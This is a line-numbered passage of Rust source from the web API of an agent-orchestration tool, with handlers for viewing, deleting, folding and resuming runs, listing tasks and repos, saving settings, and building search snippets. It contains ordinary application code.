2545}
2546
2547/// The page that filed a task, as the UI links to it.
2548#[derive(Debug, PartialEq, Eq, Serialize)]
2549struct SourceLink {
2550    /// `chat` (a conversation) or `run` (a run's node).
2551    kind: &'static str,
2552    /// The full id, never the short one in the label.
2553    id: String,
2554    /// The hash route that opens it.
2555    href: String,
2556}
2557
2558/// Percent-encode everything outside the URL-unreserved set.
2559fn encode_segment(raw: &str) -> String {
2560    let mut out = String::with_capacity(raw.len());
2561    for b in raw.bytes() {
2562        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2563            out.push(b as char);
2564        } else {
2565            out.push_str(&format!("%{b:02X}"));
2566        }
2567    }
2568    out
2569}
2570
2571/// The one place that decides where a task's source links to. A chat
2572/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2573/// a person or an imported issue has no page, so no link.
2574fn source_link(source: &Source) -> Option<SourceLink> {
2575    let Source::Agent { run, node } = source else {
2576        return None;
2577    };
2578    let (kind, route) = if node == crate::queue::CHAT_NODE {
2579        ("chat", "chat")
2580    } else {
2581        ("run", "runs")
2582    };
2583    Some(SourceLink {
2584        kind,
2585        id: run.clone(),
2586        href: format!("#/{route}/{}", encode_segment(run)),
2587    })
2588}
2589
2590/// Another run of the same task, as named from a run's detail page.
2591#[derive(Debug, Serialize)]
2592struct RunBrief {
2593    id: String,
2594    short: String,
2595    /// `None` when the run's record cannot be read.
2596    status: Option<&'static str>,
2597    /// The task-page wording for how that pass ended.
2598    outcome: String,
2599}
2600
2601/// The task's overall outcome as seen from `this_run`'s page, classified with
2602/// the same exits the task page's flowchart uses.
2603fn task_outcome(
2604    task: &Task,
2605    this_run: &str,
2606    max_attempts: usize,
2607    read: impl Fn(&str) -> Option<RunState>,
2608) -> TaskRef {
2609    let history = task_history(task, read);
2610    let brief = |h: &TaskRunView| RunBrief {
2611        id: h.id.clone(),
2612        short: h.short.clone(),
2613        status: h.status,
2614        outcome: h.exit.edge_label(h.status),
2615    };
2616    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2617    let latest = if is_latest {
2618        None
2619    } else {
2620        history.last().map(brief)
2621    };
2622    let done = task.status == TaskStatus::Done;
2623    let finished_by = done
2624        .then(|| {
2625            history
2626                .iter()
2627                .rev()
2628                .find(|h| {
2629                    matches!(
2630                        h.exit,
2631                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2632                    )
2633                })
2634                .map(brief)
2635        })
2636        .flatten();
2637    TaskRef {
2638        short: task.short().to_owned(),
2639        title: task.title.clone(),
2640        id: task.id.clone(),
2641        source_label: task.source.label(),
2642        source_link: source_link(&task.source),
2643        status: task.status.as_str(),
2644        attempts: task.attempts,
2645        max_attempts,
2646        is_latest,
2647        latest,
2648        closed_by_hand: done && finished_by.is_none(),
2649        finished_by,
2650    }
2651}
2652
2653/// The task's current attempt, as seen from an older one's detail page.
2654#[derive(Debug, Serialize)]
2655struct LatestAttempt {
2656    id: String,
2657    short: String,
2658    /// Whether this attempt itself settled with a result nobody needs to
2659    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2660    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2661    /// unconfirmed claim that no change was needed, which is exactly why it
2662    /// settles the task through `Held` rather than `Done` and still waits on
2663    /// a human to check the evidence; showing an older run as "finished
2664    /// elsewhere" on the strength of an unverified claim would bury the
2665    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2666    /// in-flight status are excluded because they are exactly the
2667    /// unresolved states this field exists to tell apart from a real finish.
2668    resolved: bool,
2669    /// The attempt's own recorded status, so the page can say where it
2670    /// stands while it is not resolved yet.
2671    status: RunStatus,
2672    /// Whether that status is terminal (nothing is still running it).
2673    done: bool,
2674}
2675
2676/// Markdown for the free-text prose of a run, parallel to `RunState`.
2677#[derive(Debug, Default, Serialize)]
2678struct RunProseMd {
2679    /// `None` when the run has no design deliberation.
2680    advice_md: Option<AdviceMd>,
2681    /// One entry per candidate: the summary.
2682    candidate_summaries_md: Vec<Vec<md::Node>>,
2683    /// One entry per review round, in `reviews` order.
2684    reviews_md: Vec<RoundMd>,
2685}
2686
2687#[derive(Debug, Default, Serialize)]
2688struct AdviceMd {
2689    synthesis: Vec<md::Node>,
2690    /// One per record; empty for a seat with no proposal.
2691    approaches: Vec<Vec<md::Node>>,
2692}
2693
2694#[derive(Debug, Default, Serialize)]
2695struct RoundMd {
2696    /// One per reviewer record.
2697    reviewers: Vec<ReviewerMd>,
2698    /// One per `reconsideration` entry: the reason.
2699    reconsideration: Vec<Vec<md::Node>>,
2700    fix: Option<FixMd>,
2701}
2702
2703#[derive(Debug, Default, Serialize)]
2704struct ReviewerMd {
2705    summary: Vec<md::Node>,
2706    /// One per finding, in recorded order (not the display order).
2707    findings: Vec<Vec<md::Node>>,
2708}
2709
2710#[derive(Debug, Default, Serialize)]
2711struct FixMd {
2712    notes: Vec<md::Node>,
2713    /// One per rejection: the argument.
2714    rejected: Vec<Vec<md::Node>>,
2715}
2716
2717/// Parse a run's agent-written prose; a pure function of the state.
2718fn run_prose_md(state: &RunState) -> RunProseMd {
2719    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2720    RunProseMd {
2721        advice_md: state.advice.as_ref().map(|a| AdviceMd {
2722            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2723            approaches: a
2724                .records
2725                .iter()
2726                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2727                .collect(),
2728        }),
2729        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2730        reviews_md: state
2731            .reviews
2732            .iter()
2733            .map(|round| RoundMd {
2734                reviewers: round
2735                    .reviews
2736                    .iter()
2737                    .map(|rec| ReviewerMd {
2738                        summary: nodes(&rec.summary),
2739                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2740                    })
2741                    .collect(),
2742                reconsideration: round
2743                    .reconsideration
2744                    .iter()
2745                    .map(|rv| nodes(&rv.reason))
2746                    .collect(),
2747                fix: round.fix.as_ref().map(|fix| FixMd {
2748                    notes: nodes(&fix.notes),
2749                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2750                }),
2751            })
2752            .collect(),
2753    }
2754}
2755
2756impl RunDetailView {
2757    fn of(
2758        state: RunState,
2759        live: crate::run::Liveness,
2760        superseded_by: Option<String>,
2761        latest_attempt: Option<LatestAttempt>,
2762        task: Option<TaskRef>,
2763    ) -> Self {
2764        Self {
2765            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2766            prose_md: run_prose_md(&state),
2767            origin_label: crate::run::origin_label(state.origin.as_ref()),
2768            live,
2769            unmerged_by_design: state.unmerged_by_design(),
2770            done: state.status.done(),
2771            superseded_by,
2772            latest_attempt,
2773            task,
2774            state,
2775        }
2776    }
2777}
2778
2779async fn run_detail(
2780    State(ui): State<Arc<Ui>>,
2781    Path(id): Path<String>,
2782) -> ApiResult<Json<RunDetailView>> {
2783    blocking(move || {
2784        let id = resolve_run(&ui.runs, &id)?;
2785        let state = read_run(&ui.runs, &id)?;
2786        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2787        let live = state.liveness(daemon_claims);
2788        let superseded_by = ui
2789            .queue
2790            .superseded_by(&id)
2791            .as_deref()
2792            .map(crate::run::short_of)
2793            .map(str::to_owned);
2794        // Best-effort: an unreadable head (mid-write, or deleted) just means
2795        // this run's own status stands on its own, same as no later attempt
2796        // existing at all.
2797        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2798            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2799                short: head.short().to_owned(),
2800                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2801                status: head.status,
2802                done: head.status.done(),
2803                id: head.id,
2804            })
2805        });
2806        let max_attempts = daemon::Opts::default().max_attempts;
2807        let task = ui
2808            .queue
2809            .list()
2810            .into_iter()
2811            .find(|t| t.runs.contains(&id))
2812            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2813        Ok(Json(RunDetailView::of(
2814            state,
2815            live,
2816            superseded_by,
2817            latest_attempt,
2818            task,
2819        )))
2820    })
2821    .await
2822}
2823
2824/// `DELETE /api/runs/{id}`.
2825///
2826/// Remove a finished, folded run directory along with its artifacts.
2827/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2828/// deleted. This never touches git worktrees or branches - except for a run
2829/// whose state this build cannot read at all, where there is no candidate
2830/// list to check and the wholesale removal `magi fold` already uses for that
2831/// case is the only meaningful "delete".
2832async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2833    let (id, unreadable) = {
2834        let ui = Arc::clone(&ui);
2835        blocking(move || {
2836            let id = resolve_run(&ui.runs, &id)?;
2837            match read_run(&ui.runs, &id) {
2838                Ok(state) => {
2839                    let in_flight =
2840                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2841                    state
2842                        .ensure_can_delete(in_flight)
2843                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2844                    let dir = ui.runs.join(&id);
2845                    std::fs::remove_dir_all(&dir)
2846                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2847                    Ok((id, false))
2848                }
2849                Err(_) => {
2850                    // Unreadable: there is no candidate list to guard on, so
2851                    // a live daemon's claim is the only thing left to check -
2852                    // the same rule `run_fold` applies for the same reason.
2853                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2854                        return Err(ApiError::conflict(format!(
2855                            "run {id} is being worked on by a live daemon right now"
2856                        )));
2857                    }
2858                    Ok((id, true))
2859                }
2860            }
2861        })
2862        .await?
2863    };
2864    if unreadable {
2865        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2866            .await
2867            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2868    }
2869    let ui = Arc::clone(&ui);
2870    let done = id.clone();
2871    blocking(move || {
2872        // The agent that asked died with the run, so an open question would
2873        // keep asking the operator for a decision nobody can deliver.
2874        ui.questions.abandon_for_run(
2875            &done,
2876            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2877        )?;
2878        Ok(())
2879    })
2880    .await?;
2881    Ok(StatusCode::NO_CONTENT)
2882}
2883
2884/// `POST /api/runs/{id}/fold`.
2885///
2886/// Remove a run's candidate worktrees and branches, keeping its record.
2887///
2888/// This exists because the deck answered "delete this run" with *"Candidates
2889/// must be folded before deleting. Run `magi fold` first."* — a phone being
2890/// told to open a terminal, in the one product whose point is that it does
2891/// not need one. The runs an operator most wants gone are the stalled and
2892/// blocked ones, and those are exactly the runs still holding worktrees:
2893/// three of them here held 53 GB.
2894///
2895/// The winner's tree goes too. A fold is what someone asks for when they are
2896/// finished with a run, and leaving one tree behind would leave the delete
2897/// button disabled for the same reason as before.
2898///
2899/// Refused while a live daemon is working on the run, on the rule that guards
2900/// deletion: folding underneath a running agent would pull the tree it is
2901/// editing out from under it.
2902///
2903/// A run whose state this build cannot read at all falls back to
2904/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2905/// selectively, so the whole record's worktree goes wholesale, exactly what
2906/// `magi fold` does on the command line for the same run.
2907async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2908    let (id, state) = {
2909        let ui = Arc::clone(&ui);
2910        blocking(move || {
2911            let id = resolve_run(&ui.runs, &id)?;
2912            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2913                return Err(ApiError::conflict(format!(
2914                    "run {id} is being worked on by a live daemon right now"
2915                )));
2916            }
2917            let state = read_run(&ui.runs, &id).ok();
2918            Ok((id, state))
2919        })
2920        .await?
2921    };
2922    let removed = match state {
2923        Some(mut state) => {
2924            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2925                .await
2926                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2927            // Nothing left to remove is not the same thing as nothing left to
2928            // do — see `clean::clear_abandoned_active`'s own doc for the run
2929            // this exists for: worktrees already gone, but a killed process
2930            // left active seats nobody will ever answer for.
2931            if removed.is_empty() {
2932                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2933                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2934            }
2935            removed
2936        }
2937        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2938            .await
2939            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2940    };
2941    Ok(Json(FoldView {
2942        run: id,
2943        removed_count: removed.len(),
2944        removed,
2945    }))
2946}
2947
2948/// What a fold took away, so the deck can say so rather than only re-render.
2949#[derive(Debug, Serialize)]
2950struct FoldView {
2951    run: String,
2952    /// Worktree paths and branch names removed, in the order they went.
2953    removed: Vec<String>,
2954    removed_count: usize,
2955}
2956
2957/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2958/// merged outside of `land::land`'s own loop.
2959#[derive(Debug, Deserialize)]
2960struct FoldMergedBody {
2961    #[serde(default)]
2962    pr_url: String,
2963}
2964
2965/// `POST /api/runs/{id}/fold-merged`.
2966///
2967/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2968/// `Blocked` with `merge: null` because magi never got as far as opening a
2969/// pull request of its own (a title over GitHub's length limit, `gh pr
2970/// create` unreachable, a stale token), which the operator then finished by
2971/// hand on a pull request magi never recorded. The "Run actions" sheet used
2972/// to have no way to tell it about that pull request short of a terminal and
2973/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2974/// this exists and what it deliberately does not do (`bump::after_merge`).
2975///
2976/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2977/// correction rewrites the same `status`/`merge` fields a running graph would
2978/// be writing to on its own.
2979///
2980/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2981/// calls plus a fold, seconds of work, and the phone should get its answer
2982/// (which pull request it recorded, and what changed) in the same round
2983/// trip rather than learning it from the change stream.
2984async fn run_fold_merged(
2985    State(ui): State<Arc<Ui>>,
2986    Path(id): Path<String>,
2987    Json(body): Json<FoldMergedBody>,
2988) -> ApiResult<Json<FoldMergedView>> {
2989    let pr_url = body.pr_url.trim().to_owned();
2990    if pr_url.is_empty() {
2991        return Err(ApiError::bad_request("pr_url is required"));
2992    }
2993    let (id, mut state) = {
2994        let ui = Arc::clone(&ui);
2995        blocking(move || {
2996            let id = resolve_run(&ui.runs, &id)?;
2997            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2998                return Err(ApiError::conflict(format!(
2999                    "run {id} is being worked on by a live daemon right now"
3000                )));
3001            }
3002            let state = read_run(&ui.runs, &id)?;
3003            Ok((id, state))
3004        })
3005        .await?
3006    };
3007    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3008        .await
3009        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3010    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3011        .await
3012        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3013    Ok(Json(FoldMergedView {
3014        run: id,
3015        before: before.as_str().to_owned(),
3016        after: after.as_str().to_owned(),
3017        removed,
3018    }))
3019}
3020
3021/// What [`run_fold_merged`] did, so the deck can say so.
3022#[derive(Debug, Serialize)]
3023struct FoldMergedView {
3024    run: String,
3025    /// `status` before the correction — normally `"blocked"`.
3026    before: String,
3027    /// `status` after — normally `"merged"`.
3028    after: String,
3029    /// Worktree paths and branch names the trailing fold removed.
3030    removed: Vec<String>,
3031}
3032
3033/// `POST /api/runs/{id}/resume`.
3034///
3035/// Carry a stalled run on from where it stopped, in the background.
3036///
3037/// A stalled card says "the work is kept" and used to offer no way to act on
3038/// that: the candidates are built and paid for, and continuing means re-asking
3039/// only the seats whose absence collapsed the panel. The alternative an
3040/// operator actually had was releasing the task, which competes three fresh
3041/// implementations against work that already exists.
3042///
3043/// **202, not 200.** A resume runs agents for minutes; holding the connection
3044/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3045/// phone learns the outcome from the change stream.
3046///
3047/// Refused when the loop is running at all, not merely when it is on this run.
3048/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3049/// started a second graph on top of whatever the loop is already driving —
3050/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3051/// allows — would spend that quota twice over for no extra throughput.
3052async fn run_resume(
3053    State(ui): State<Arc<Ui>>,
3054    Path(id): Path<String>,
3055) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3056    let (id, state) = {
3057        let ui = Arc::clone(&ui);
3058        blocking(move || {
3059            let id = resolve_run(&ui.runs, &id)?;
3060            let state = read_run(&ui.runs, &id)?;
3061            Ok((id, state))
3062        })
3063        .await?
3064    };
3065    if let Some(to) = &state.released_to {
3066        return Err(ApiError::conflict(format!(
3067            "run {} can no longer be resumed: its worktree was released to run {}, which \
3068             took the branch over.",
3069            state.short(),
3070            crate::run::short_of(to)
3071        )));
3072    }
3073    if !state.status.resumable() {
3074        return Err(ApiError::conflict(format!(
3075            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3076            state.short(),
3077            status_word(state.status)
3078        )));
3079    }
3080    // Refused whenever the loop is running anything at all, not merely when
3081    // it is on this run: a manual resume racing a loop-driven run over the
3082    // same agent quota is the thing this guard exists to prevent, whether
3083    // the loop's own concurrency is one run or several.
3084    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3085        .into_iter()
3086        .next()
3087    {
3088        return Err(ApiError::conflict(format!(
3089            "the loop is running run {} right now; stop it first, or wait for \
3090             it to finish, before resuming a run by hand.",
3091            crate::run::short_of(&work.run)
3092        )));
3093    }
3094    let _resume = ui.begin_resume(&id)?;
3095
3096    // The same shape the list route returns, so the phone updates the card it
3097    // already has rather than learning a second schema for one button.
3098    let queued = RunSummary::of(
3099        &state,
3100        !ui.questions.open_for(&id).is_empty(),
3101        state.liveness(false),
3102    );
3103    let run = id.clone();
3104    tokio::spawn(async move {
3105        let _resume = _resume;
3106        match crate::graph::Runner::resume(&run) {
3107            Ok(mut runner) => {
3108                if let Err(e) = runner.execute().await {
3109                    tracing::warn!("resume of run {run} stopped: {e:#}");
3110                }
3111            }
3112            // The run's own record is what the phone reads; this line is for
3113            // the operator's terminal.
3114            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3115        }
3116    });
3117    Ok((StatusCode::ACCEPTED, Json(queued)))
3118}
3119
3120async fn run_report(
3121    State(ui): State<Arc<Ui>>,
3122    Path(id): Path<String>,
3123) -> ApiResult<impl IntoResponse> {
3124    let text = blocking(move || {
3125        let id = resolve_run(&ui.runs, &id)?;
3126        // Colour is off for the whole process, set once in `serve`. Rendering
3127        // is CPU work over the full state, which is the other reason this is
3128        // not on the executor.
3129        let state = read_run(&ui.runs, &id)?;
3130        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3131        let live = state.liveness(daemon_claims);
3132        Ok(format!(
3133            "{}{}",
3134            report::run(&state),
3135            report::active_seats(&state, live)
3136        ))
3137    })
3138    .await?;
3139    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3140}
3141
3142/// A task as the UI sees it.
3143///
3144/// The whole task, plus the two things the client would otherwise have to
3145/// reimplement: the human-readable source and the status string. Nothing is
3146/// removed - the phone shows `last_error` and the run history verbatim.
3147#[derive(Debug, Serialize)]
3148struct TaskView {
3149    #[serde(flatten)]
3150    task: Task,
3151    source_label: String,
3152    source_link: Option<SourceLink>,
3153    status_str: &'static str,
3154    /// The instruction, parsed as markdown, for the Queue card's "Full
3155    /// instruction" panel. `task.instruction` is unchanged and still carries
3156    /// the raw text.
3157    instruction_md: Vec<md::Node>,
3158    /// For a blocked task, what it waits on with each dependency's state, e.g.
3159    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3160    /// recurses; empty for every other status.
3161    waits_on: Vec<String>,
3162    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3163    /// behind - non-empty means nothing in the loop will ever run it.
3164    stuck_roots: Vec<String>,
3165}
3166
3167impl From<Task> for TaskView {
3168    fn from(task: Task) -> Self {
3169        Self {
3170            source_label: task.source.label(),
3171            source_link: source_link(&task.source),
3172            status_str: task.status.as_str(),
3173            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3174            waits_on: Vec::new(),
3175            stuck_roots: Vec::new(),
3176            task,
3177        }
3178    }
3179}
3180
3181impl TaskView {
3182    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3183        let waits_on = inv.waits_on(&task);
3184        let stuck_roots = inv
3185            .stuck_roots(&task)
3186            .iter()
3187            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3188            .collect();
3189        Self {
3190            waits_on,
3191            stuck_roots,
3192            ..Self::from(task)
3193        }
3194    }
3195}
3196
3197/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3198/// its absence, leaves the cache to decide.
3199#[derive(Debug, Default, Deserialize)]
3200#[serde(default)]
3201struct ReposQuery {
3202    refresh: u8,
3203}
3204
3205/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3206/// listing `magi repos` prints at a terminal.
3207///
3208/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3209/// so an edit to `magi.toml` takes effect without a restart, the same
3210/// reasoning [`config_for`] documents for the talk routes.
3211async fn repos_list(
3212    State(ui): State<Arc<Ui>>,
3213    Query(q): Query<ReposQuery>,
3214) -> ApiResult<Json<Vec<repos::Repo>>> {
3215    let refresh = q.refresh != 0;
3216    blocking(move || {
3217        let (cfg, _) = Config::discover(&ui.repo, None)?;
3218        Ok(Json(ui.repos_cache.list(
3219            &cfg.repos.roots,
3220            Duration::from_secs(cfg.repos.scan_ttl),
3221            refresh,
3222        )))
3223    })
3224    .await
3225}
3226
3227/// `GET /api/settings` - the effective role assignments and roster, with the
3228/// layer each came from. A config that fails to load answers 200 with an
3229/// `error`, so the screen can say so instead of drawing empty lists.
3230async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3231    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3232}
3233
3234/// The body of `PUT /api/settings/roles`.
3235#[derive(Debug, Deserialize)]
3236#[serde(deny_unknown_fields)]
3237struct RolesBody {
3238    /// The `revision` the client last read.
3239    revision: String,
3240    /// Role key to its new ids; an empty list resets the key to its default.
3241    roles: std::collections::BTreeMap<String, Vec<String>>,
3242}
3243
3244/// `PUT /api/settings/roles` - save role assignments to the machine config.
3245///
3246/// The write target is `ui.machine_config` and nothing in the body can change
3247/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3248/// 422 with the reason in words.
3249async fn settings_put_roles(
3250    State(ui): State<Arc<Ui>>,
3251    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3252) -> ApiResult<Json<settings::SettingsView>> {
3253    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3254    blocking(move || {
3255        settings::save(
3256            &ui.repo,
3257            ui.machine_config.as_deref(),
3258            &body.revision,
3259            &body.roles,
3260        )
3261        .map(Json)
3262        .map_err(|e| match e {
3263            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3264            settings::SaveError::Refused(m) => ApiError {
3265                status: StatusCode::UNPROCESSABLE_ENTITY,
3266                message: m,
3267            },
3268            settings::SaveError::Internal(m) => ApiError::internal(m),
3269        })
3270    })
3271    .await
3272}
3273
3274async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3275    blocking(move || {
3276        let tasks = ui.queue.list();
3277        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3278        Ok(Json(
3279            tasks
3280                .into_iter()
3281                .map(|t| TaskView::with_inventory(t, &inv))
3282                .collect(),
3283        ))
3284    })
3285    .await
3286}
3287
3288/// Most hits one search returns. The rest are counted in `total`.
3289const SEARCH_MAX_HITS: usize = 100;
3290/// Longest query, in characters, and most terms it is split into.
3291const SEARCH_MAX_QUERY: usize = 200;
3292const SEARCH_MAX_TERMS: usize = 8;
3293/// Characters of context kept before the first hit, and after it.
3294const SNIPPET_BEFORE: usize = 50;
3295const SNIPPET_AFTER: usize = 110;
3296
3297/// `?scope=runs|tasks&q=...`
3298#[derive(Debug, Deserialize)]
3299struct SearchQuery {
3300    #[serde(default)]
3301    scope: String,
3302    #[serde(default)]
3303    q: String,
3304}
3305
3306/// One piece of a snippet. `hit` pieces are what matched; the client renders
3307/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3308#[derive(Debug, Serialize, PartialEq, Eq)]
3309struct SnippetPart {
3310    text: String,
3311    hit: bool,
3312}
3313
3314#[derive(Debug, Serialize)]
3315struct SearchHit {
3316    id: String,
3317    /// The name of the field the snippet was cut from.
3318    field: String,
3319    snippet: Vec<SnippetPart>,
3320    /// The run's list row, so the page can apply its state / section / repo
3321    /// filters to a hit outside the loaded window. Absent for tasks and for a
3322    /// run record the list view cannot read.
3323    #[serde(skip_serializing_if = "Option::is_none")]
3324    run: Option<RunSummary>,
3325}
3326
3327#[derive(Debug, Serialize)]
3328struct SearchView {
3329    scope: String,
3330    q: String,
3331    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3332    hits: Vec<SearchHit>,
3333    /// Every match, hits beyond the cap included.
3334    total: usize,
3335    truncated: bool,
3336    /// Runs whose `run.json` could not be parsed at all. They were not
3337    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3338    unreadable: usize,
3339}
3340
3341/// The text leaves of a JSON document, with the name of the field each sits
3342/// under. Keys and numbers are skipped: they are structure, not prose.
3343fn text_leaves<'a>(
3344    value: &'a serde_json::Value,
3345    field: &'a str,
3346    out: &mut Vec<(&'a str, &'a str)>,
3347) {
3348    match value {
3349        serde_json::Value::String(s) => out.push((field, s)),
3350        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3351        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3352        _ => {}
3353    }
3354}
3355
3356/// Lower-case one character without changing how many there are, so indices
3357/// in the lowered text are indices in the original.
3358fn fold_char(c: char) -> char {
3359    c.to_lowercase().next().unwrap_or(c)
3360}
3361
3362/// Split a query into its lower-cased terms.
3363fn search_terms(q: &str) -> Vec<String> {
3364    let mut terms: Vec<String> = Vec::new();
3365    for t in q.split_whitespace() {
3366        let t = t.to_lowercase();
3367        if !terms.contains(&t) {
3368            terms.push(t);
3369        }
3370    }
3371    terms
3372}
3373
3374/// Match `terms` (all of them, anywhere in the document) against the leaves
3375/// and cut a snippet around the first hit. `None` when a term is missing.
3376fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3377    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3378    let mut first: Option<usize> = None;
3379    for term in terms {
3380        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3381        first = Some(first.map_or(at, |f| f.min(at)));
3382    }
3383    // The leaf holding the earliest hit of any term is where the snippet is cut.
3384    let (field, text) = leaves[first?];
3385    Some(SearchHit {
3386        id: String::new(),
3387        field: field.to_owned(),
3388        snippet: snippet_of(text, terms),
3389        run: None,
3390    })
3391}
3392
3393/// A window of `text` around the first occurrence of any term, whitespace
3394/// collapsed, with every term occurrence inside the window marked.
3395fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3396    let chars: Vec<char> = text.chars().collect();
3397    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3398    let needles: Vec<Vec<char>> = terms
3399        .iter()
3400        .map(|t| t.chars().map(fold_char).collect())
3401        .collect();
3402    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3403        let mut best: Option<(usize, usize)> = None;
3404        for n in needles.iter().filter(|n| !n.is_empty()) {
3405            // `to` bounds where a match may start; it may run past `to` (the
3406            // caller clips what it shows). A term longer than the field cannot
3407            // occur in it (it may live in another leaf of the document).
3408            if n.len() > chars.len() || to == 0 {
3409                continue;
3410            }
3411            let last = (to - 1).min(chars.len() - n.len());
3412            if from > last {
3413                continue;
3414            }
3415            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3416                && best.is_none_or(|(b, _)| i < b)
3417            {
3418                best = Some((i, i + n.len()));
3419            }
3420        }
3421        best
3422    };
3423    let Some((start, _)) = find(0, chars.len()) else {
3424        // Matched only through a case mapping that changes length: show the head.
3425        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3426        return vec![SnippetPart {
3427            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3428            hit: false,
3429        }];
3430    };
3431    let lo = start.saturating_sub(SNIPPET_BEFORE);
3432    let hi = (start + SNIPPET_AFTER).min(chars.len());
3433    let mut parts: Vec<SnippetPart> = Vec::new();
3434    let mut push = |s: &[char], hit: bool| {
3435        if s.is_empty() {
3436            return;
3437        }
3438        let text: String = s.iter().collect();
3439        match parts.last_mut() {
3440            Some(p) if p.hit == hit => p.text.push_str(&text),
3441            _ => parts.push(SnippetPart { text, hit }),
3442        }
3443    };
3444    if lo > 0 {
3445        push(&['\u{2026}'], false);
3446    }
3447    let mut at = lo;
3448    while at < hi {
3449        match find(at, hi) {
3450            Some((s, e)) => {
3451                push(&chars[at..s], false);
3452                // A match running past the window is shown up to its edge.
3453                let shown = e.min(hi);
3454                push(&chars[s..shown], true);
3455                at = shown;
3456            }
3457            None => {
3458                push(&chars[at..hi], false);
3459                at = hi;
3460            }
3461        }
3462    }
3463    if hi < chars.len() {
3464        push(&['\u{2026}'], false);
3465    }
